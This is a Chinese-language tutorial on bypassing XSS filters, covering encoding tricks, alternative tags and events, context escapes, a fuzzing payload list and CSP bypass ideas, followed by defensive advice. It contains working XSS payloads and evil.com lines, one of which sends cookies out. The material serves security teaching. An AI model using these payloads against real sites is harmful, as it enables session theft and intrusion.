1. 项目概述:从“能弹窗”到“能实战”的跨越
很多刚接触Web安全的朋友,对XSS(跨站脚本攻击)的理解可能还停留在“在输入框里敲个<script>alert(1)</script>,然后看能不能弹窗”的阶段。一旦弹窗成功,就觉得“我挖到了一个XSS漏洞”。这当然没错,但这仅仅是开始,是漏洞存在的证明。在真实的渗透测试或攻防演练中,你遇到的网站几乎没有不设防的。它们会部署各种各样的过滤、编码、拦截规则,目的就是让你的<script>标签、alert函数、甚至一个简单的单引号都失效。这时候,一个只会用基础payload的安全测试人员,就会立刻卡壳。
这个内容要聊的,就是如何让你的XSS攻击从“实验室环境”走进“实战环境”。核心不是去背诵成百上千条现成的payload,而是掌握一套系统性的“变形”思维和技巧。当你看到一个输入点,发现常规payload被拦截时,你应该像解一道谜题一样,去分析它过滤了什么,没过滤什么,然后利用那些“漏网之鱼”去重新组装你的攻击代码。这个过程,我们称之为“绕过过滤的payload变形”。它考验的不是你的记忆力,而是你对HTML、JavaScript以及浏览器解析逻辑的深刻理解。无论你是想提升自己的渗透测试能力,还是作为开发人员想更透彻地理解如何防御,这些技巧都是绕不开的实战核心。
2. 绕过过滤的核心思路拆解:理解“规则”与“漏洞”
在开始具体的变形技巧之前,我们必须先建立正确的思维模型。网站的安全防护不是一堵密不透风的墙,而更像一个有多层筛网的过滤器。你的目标不是撞碎这堵墙,而是找到筛网上那个形状刚好能让你通过的孔洞。
2.1 防护机制的常见层次
通常,一个Web应用对用户输入的防护会发生在以下几个层面:
- 前端过滤:通过JavaScript在数据提交前进行检查和过滤。这是最弱的一环,因为攻击者可以轻松禁用JS或直接抓包修改请求来绕过。
- WAF(Web应用防火墙):在流量到达应用服务器之前进行拦截。WAF基于规则库工作,会检查请求中的特征字符串(如
<script>、javascript:、onerror=等)。 - 服务端输入过滤/净化:在服务器端代码(如PHP的
htmlspecialchars、Java的ESAPI、Python的html.escape)中对输入进行处理,将危险字符转换为HTML实体(如<变成<,>变成>)。 - 输出编码:在将数据输出到不同上下文(HTML、JavaScript、URL、CSS)时,使用对应的编码函数。这是最推荐的做法,遵循“数据与代码分离”原则。
- CSP(内容安全策略):通过HTTP响应头告诉浏览器,哪些外部资源可以被加载和执行,从根本上限制JS的执行来源。
我们的绕过技巧,主要针对的是服务端过滤不严和输出编码上下文错配的情况。WAF绕过则更复杂,涉及混淆、分割、协议滥用等。
2.2 绕过的基本逻辑:利用解析差异
浏览器解析HTML、CSS、JavaScript的过程是高度复杂的,并且存在一些为了兼容历史遗留问题而设计的“怪异模式”。安全过滤规则往往是基于简单的字符串匹配或正则表达式,它们对输入的理解,与浏览器解析器的理解,可能存在差异。我们的变形,就是主动制造并利用这种差异。
- 过滤器的视角:它看到的是一个字符串,它用规则去匹配这个字符串中的“危险模式”。
- 浏览器的视角:它看到的是一个待解析的文档流,它会按照HTML、JS等规范去解释这些字符。
举个例子,过滤器可能认为只有<script>标签是危险的。但浏览器还能通过<img src=1 onerror=alert(1)>来执行JS。这就是利用了解析差异:过滤器没考虑到事件处理器(onerror)也是一个JS执行入口。
3. 基础变形技巧:从字符层面开始“化妆”
当你的标准payload被拦截时,首先应该尝试的是一些最简单的字符变换。这些方法成本最低,往往能绕过一些粗浅的过滤。
3.1 大小写绕过
这是最古老也最经典的方法。如果过滤规则是简单的字符串匹配且大小写敏感,那么改变标签或属性的大小写就能绕过。
原始payload:
<script>alert(1)</script>变形payload:
<ScRiPt>alert(1)</sCrIpT> <SCRIPT SRC="http://evil.com/x.js"></SCRIPT>注意:现代浏览器对HTML标签和属性名是不区分大小写的(除了XML上下文),所以
<ScRiPt>和<SCRIPT>都会被正确解析为脚本标签。但一些属性值(如JavaScript代码)是大小写敏感的,ALERT(1)是无法执行的。
3.2 双写与嵌套绕过
如果过滤规则是“删除”或“替换”掉一次出现的敏感词,那么可以通过双写来绕过。
假设过滤规则是:preg_replace('/script/i', '', $input),它会删除所有“script”字符串(不区分大小写)。
原始payload:
<script>alert(1)</script>过滤后:
<>alert(1)</> <!-- script被删除了,标签结构被破坏 -->变形payload:
<scrscriptipt>alert(1)</scrscriptipt>过滤过程:
- 输入:
<scrscriptipt>alert(1)</scrscriptipt> - 删除所有
script:删除第一个script(红色部分)后,字符串变为<scriptipt>alert(1)</scriptipt>。 - 继续扫描,删除新出现的
script(绿色部分),最终得到<script>alert(1)</script>。
这样,经过过滤后,我们精心构造的字符串恰好又组合成了一个完整的<script>标签。
3.3 插入干扰字符(Tab、换行、空格)
过滤规则的正则表达式可能设计得不够周全,没有考虑标签名、属性名和等号、引号之间可能存在空白字符。
原始payload:
<img src=x onerror=alert(1)>变形payload:
<img/src="x"/onerror="alert(1)"> <svg/onload=alert(1)>这里,我们用/代替了空格。在某些解析场景下,这同样能被浏览器识别为属性分隔符。更隐蔽的,可以使用Tab(\t)、换行(\n)或回车(\r)。
<img src=x onerror=alert(1)>如果过滤规则是/ onerror\s*=/i,可能就匹配不到这个换行后的onerror了。
3.4 编码与解码游戏
这是绕过中高级过滤的核心手段。其原理是:浏览器在解析HTML实体的某些阶段,会对其进行解码。而过滤可能发生在解码之前或之后,如果我们能在过滤后让编码内容被正确解码,就能绕过。
HTML实体编码:
<-><,>->>,&->&。- 绕过场景:如果过滤函数只处理了原始字符
<和>,但没有递归处理或处理<和>,那么当这些实体被浏览器解码后,就会形成有效的标签。 - Payload示例:
<img src=1 onerror=alert(1)>-> 浏览器解码后 -><img src=1 onerror=alert(1)>
- 绕过场景:如果过滤函数只处理了原始字符
URL编码:
<->%3C,>->%3E, 空格 ->%20。- 绕过场景:常用于
javascript:伪协议或URL属性中。如果服务器对URL参数解码后没有进行二次过滤,就可能引发问题。 - Payload示例:
<a href="javascript%3Aalert(1)">click</a>-> 浏览器解码URL后 ->javascript:alert(1)
- 绕过场景:常用于
Unicode编码/JS编码:在JavaScript上下文中,可以使用
\u0061表示字符a。- Payload示例:
<script>\u0061lert(1)</script> - 更高级的混淆:利用
String.fromCharCode动态生成字符串:<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
- Payload示例:
实操心得:编码绕过的关键在于判断过滤发生的“时机”和“上下文”。一个非常有效的测试方法是,分步提交编码后的payload。例如,先提交
<,看输出是不是变成了<。如果是,说明存在HTML实体解码,且解码后的<没有被再次过滤。这就为你后续构造完整payload打开了大门。
4. 高级变形技巧:利用标签与属性多样性
当简单的字符变形无效时,我们需要升级武器库,利用更多HTML标签和事件处理器的组合。
4.1 标签替换:不止有<script>
很多过滤规则对<script>标签严防死守,但对其他可以执行JavaScript的标签却疏于防范。
<img>标签:利用onerror、onload事件。这是最常用的替代标签之一。<img src="invalid_image" onerror="alert(1)"> <img src=1 onerror=eval(atob('YWxlcnQoMSk='))> <!-- 使用Base64编码 --><svg>标签:SVG本质是XML,但其内嵌的<script>或事件处理器在HTML上下文中同样有效。<svg>本身也支持onload事件。<svg onload="alert(1)"> <svg><script>alert(1)</script></svg><body>、<input>、<textarea>、<button>等标签:支持onload、onfocus、onblur、onclick、onmouseover等大量事件。<body onload=alert(1)> <input type="text" onfocus="alert(1)" autofocus> <!-- autofocus让元素自动获取焦点触发事件 --> <textarea onmouseover="alert(1)">鼠标移过来</textarea><link>、<iframe>、<embed>、<object>标签:可以用于加载外部资源,结合onload/onerror事件。<link rel="stylesheet" href="http://evil.com/x.css" onload="alert(1)"> <iframe src="javascript:alert(1)"></iframe> <!-- 注意:现代浏览器对iframe的javascript:协议限制很严 -->
4.2 属性替换与无引号写法
事件处理器属性名本身也可能被过滤,如onerror、onload。这时可以尝试:
- 大小写:
OnErRor - 插入空白:
on\terror(Tab键) - 使用其他事件:如果
onerror被禁,试试onload、onmouseenter、onfocus、onblur等。
属性值可以不使用引号,或者混用单双引号,以绕过对特定引号的过滤。
<img src=x onerror=alert(1)> <img src='x' onerror="alert(1)"> <img src=x onerror=alert(`1`)> <!-- 使用反引号模板字符串 -->4.3 利用HTML5新标签与属性
HTML5引入了一些新标签和属性,可能不在老旧过滤规则的黑名单里。
<audio>、<video>:类似<img>,有onerror、onload等事件。<video src=x onerror="alert(1)"><details>标签的ontoggle事件:<details open ontoggle="alert(1)">autofocus属性结合onfocus事件:可以让元素自动获取焦点从而触发事件,无需用户交互。<input autofocus onfocus="alert(1)">
5. 上下文感知与协议滥用:在正确的地方做“坏事”
XSS payload必须在其被输出的“上下文”中才能生效。不同的上下文,构造方法截然不同。
5.1 HTML标签内(属性上下文)
这是最常见的情况。数据被直接插入到HTML标签之间或属性值中。
- 防御:应使用HTML实体编码(如
<-><)。 - 绕过尝试:
- 如果属性值未用引号括起,可以提前闭合属性并引入新事件。
用户输入:x onerror=alert(1) 最终HTML:<img src=用户输入> 结果:<img src=x onerror=alert(1)> - 如果只过滤了双引号
",可以使用单引号'。 - 尝试使用
javascript:伪协议(在某些属性中有效,如href、action、formaction,但现代浏览器限制越来越多)。
- 如果属性值未用引号括起,可以提前闭合属性并引入新事件。
5.2 JavaScript代码内(脚本上下文)
数据被插入到<script>标签块内或HTML事件处理器(如onclick)的JavaScript代码字符串中。
- 防御:应使用JavaScript编码(如
\u003C),并确保数据被放在引号内。 - 绕过尝试:
- 提前闭合字符串和语句:这是最危险的一种。如果用户输入被直接拼接进JS字符串,且没有正确处理引号。
输入:var userInput = '[用户输入]';';alert(1);//结果:var userInput = '';alert(1);//';成功逃逸字符串,执行了alert(1)。 - 利用JS编码和
eval/setTimeout/Function构造函数:如果输出点允许执行动态代码。
输入:// 假设输入被直接放入eval eval('var a="[用户输入]"');";alert(1);//结果:eval('var a="";alert(1);//"')同样成功执行。
- 提前闭合字符串和语句:这是最危险的一种。如果用户输入被直接拼接进JS字符串,且没有正确处理引号。
5.3 URL上下文(href/src/action属性)
数据被插入到URL中。
- 防御:应进行URL编码,并严格验证协议(只允许
http://、https://)。 - 绕过尝试:
- 使用
javascript:伪协议:这是最经典的。<a href="javascript:alert(1)">click</a>。现在很多浏览器会在用户点击时阻止,但直接加载(如<iframe src>)或某些特定场景下可能仍有效。 - 使用
data:协议:可以直接在URL中嵌入HTML或JS代码。<iframe src="data:text/html,<script>alert(1)</script>"></iframe> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> - 利用URL解析特性:如使用
///绕过域名检查,或利用@符号等。
- 使用
5.4 CSS上下文(style属性或标签)
数据被插入到CSS中。
- 防御:应进行CSS编码。
- 绕过尝试:相对较少见,但可以通过
expression()(旧版IE)、url(javascript:...)(某些浏览器)或@import等方式尝试。在现代浏览器中利用难度很高。
6. 实战场景下的组合拳与模糊测试
在实际测试中,你很少能一次就猜到正确的绕过方式。你需要进行系统的模糊测试(Fuzzing)。
6.1 构建你的测试Payload库
不要手动一个个试,效率太低。可以准备一个文本文件,里面包含各种变形组合的payload,然后使用Burp Suite的Intruder或自定义脚本进行批量测试。
一个基础的测试向量可能包括:
<scr<script>ipt>alert(1)</scr</script>ipt> <ScRiPt>alert(1)</ScRiPt> <img src=x onerror=alert(1)> <img src=x onerror=alert`1`> <svg onload=alert(1)> <body onload=alert(1)> <iframe src=javascript:alert(1)> <a href=javascript:alert(1)>click</a> <details open ontoggle=alert(1)> <input autofocus onfocus=alert(1)> ‘;alert(1);// “;alert(1);// `;alert(1);// </script><script>alert(1)</script> '-alert(1)-'6.2 分析响应,寻找解析差异
提交测试payload后,关键不是看是否弹窗,而是仔细对比你提交的输入和服务器返回的HTML输出。
- 查看页面源代码:看看你的payload被如何修改了?是被完全删除了?是被编码了?还是被部分截断了?
- 使用浏览器开发者工具:在“元素”面板中查看,这里显示的是浏览器解析后的DOM树。有时候源代码里被编码的内容,在DOM里已经被解码并正常渲染了,这就是一个成功的信号。
- 寻找“漏网之鱼”:如果
<script>被过滤了,但<img>还在,那就转向基于事件的payload。如果尖括号被编码了,但引号还在,可以尝试在JS字符串上下文中闭合。
6.3 利用模糊测试工具
工具可以帮你自动化这个过程。
- XSS Strike、XSStrike:这类工具专门用于检测和利用反射型XSS,它们内置了强大的payload生成器和模糊测试引擎,能自动识别过滤规则并生成绕过payload。
- Burp Suite 插件:J2EEScan、XSS Validator:可以与Burp Intruder结合,在爬行或主动扫描时自动进行XSS测试。
- 自定义脚本:用Python编写简单脚本,读取payload字典,发送请求,并检查响应中是否存在预期的变化(如payload未被修改、特定字符串出现等)。
7. 进阶挑战:绕过CSP与现代化防御
随着CSP的普及和浏览器安全机制的加强,传统的XSS利用变得越来越困难。但这不意味着XSS已死,只是门槛更高了。
7.1 理解CSP及其绕过
CSP通过HTTP头(如Content-Security-Policy: script-src 'self')告诉浏览器只允许执行来自同源(‘self’)的脚本。这会直接阻止内联脚本(如<script>alert(1)</script>)和javascript:协议。
绕过思路:
- 寻找允许的脚本源:如果CSP策略中包含了
unsafe-inline(不推荐)或允许了某个特定域(如script-src 'self' https://cdn.example.com),那么攻击者可以尝试将恶意脚本托管在该允许的域名下,然后通过XSS注入一个<script src="https://cdn.example.com/evil.js">标签来加载。 - 利用JSONP端点:如果站点存在JSONP接口,且该接口所在的域名在CSP允许列表内,攻击者可以注入一个调用该JSONP接口的
<script>标签,并将回调函数设置为恶意代码。因为JSONP的本质就是动态执行远程JS。 - 窃取数据而非执行代码:即使无法执行脚本,如果存在存储型XSS,攻击者可以注入一个会自动向外部服务器发送当前页面Cookie或敏感信息的标签,如
<img src="http://evil.com/steal?cookie="+document.cookie>。这不需要执行JS,只需要浏览器自动加载图片。但前提是CSP的img-src指令允许向任意域发送请求(默认为*,但好的策略会限制)。 - 利用CSP配置错误:例如,错误的
script-src配置可能允许'self',而攻击者通过上传功能将恶意JS文件上传到站点的静态资源目录,然后引用它。
7.2 对抗严格的输入过滤与编码
现代框架(如React, Vue, Angular)和库(如DOMPurify)提供了非常强大的默认XSS防护。它们通常采用“白名单”方式,只允许安全的标签和属性。
绕过思路(极难,通常需要结合框架特性或0day):
- 研究框架的SSR(服务器端渲染)或动态模板特性:在某些边缘情况下,框架的服务器端渲染可能和客户端渲染存在解析差异。
- 寻找富文本编辑器漏洞:很多网站会引入第三方富文本编辑器(如CKEditor, TinyMCE)来处理用户输入的HTML。这些编辑器本身或其配置可能存在安全漏洞,导致允许了危险的标签或属性。
- DOM型XSS:这种XSS的根源在于前端JavaScript不安全的操作了DOM(例如,用
innerHTML、document.write()、eval()处理了用户可控的数据)。防御这种XSS,CSP和服务器端过滤都无效,必须在编写前端代码时遵循安全规范(如使用textContent而非innerHTML)。
8. 防御视角:如何构建更坚固的防线
了解了攻击手法,从防御者角度看,我们应该怎么做?
原则:输入验证 + 输出编码
- 输入验证:在已知的、明确的业务场景下,对输入格式进行严格校验(如邮箱格式、电话号码格式)。但不要依赖输入验证来防御XSS,因为输入的数据在输出时可能处于不同的上下文。
- 输出编码:这是最根本、最有效的防御手段。在数据输出到页面时,根据其所在的上下文(HTML、JS、URL、CSS),使用对应的编码函数。例如,在HTML正文中输出,就用HTML实体编码;在HTML属性中输出,也要用HTML实体编码(注意属性值要用引号括起来);在JS字符串中输出,要用JS字符串编码。
使用安全的API和框架
- 避免直接使用
innerHTML、document.write()、eval()、setTimeout(string)等危险的JavaScript API。 - 使用现代前端框架(React, Vue, Angular),它们通常有内置的XSS防护机制(默认对动态绑定内容进行转义)。
- 在后端,使用成熟的库来处理HTML净化,如PHP的
htmlpurifier、Python的bleach、Java的OWASP Java Encoder。
- 避免直接使用
实施严格的CSP
- 部署CSP,并采用最严格的策略。从
default-src 'none'开始,然后逐步添加必要的源(如script-src 'self',img-src 'self' data:)。 - 禁止使用
unsafe-inline和unsafe-eval。 - 可以使用
report-uri或report-to指令收集违规报告,帮助发现潜在漏洞和调整策略。
- 部署CSP,并采用最严格的策略。从
其他HTTP安全头
X-XSS-Protection: 0:虽然旧版浏览器有XSS过滤器,但容易引发其他问题,建议禁用,转而依靠CSP。X-Content-Type-Options: nosniff:阻止浏览器MIME类型嗅探,防止将非JS文件当作JS执行。X-Frame-Options: DENY或Content-Security-Policy: frame-ancestors 'none':防止点击劫持。
定期安全审计与测试
- 对应用进行定期的渗透测试和代码审计。
- 在开发流程中引入SAST(静态应用安全测试)和DAST(动态应用安全测试)工具。
- 对开发人员进行持续的安全意识培训。
XSS的攻防是一场持续的道高一尺魔高一丈的较量。作为攻击方,需要不断深入理解浏览器解析、编码解码和框架特性;作为防御方,则需要建立纵深防御体系,不依赖单一手段。掌握这些payload变形技巧,不仅能让你在渗透测试中更得心应手,更能让你从攻击者的角度思考,从而设计出更安全的应用程序。真正的安全,源于对漏洞原理的深刻敬畏和对防御措施的严格执行。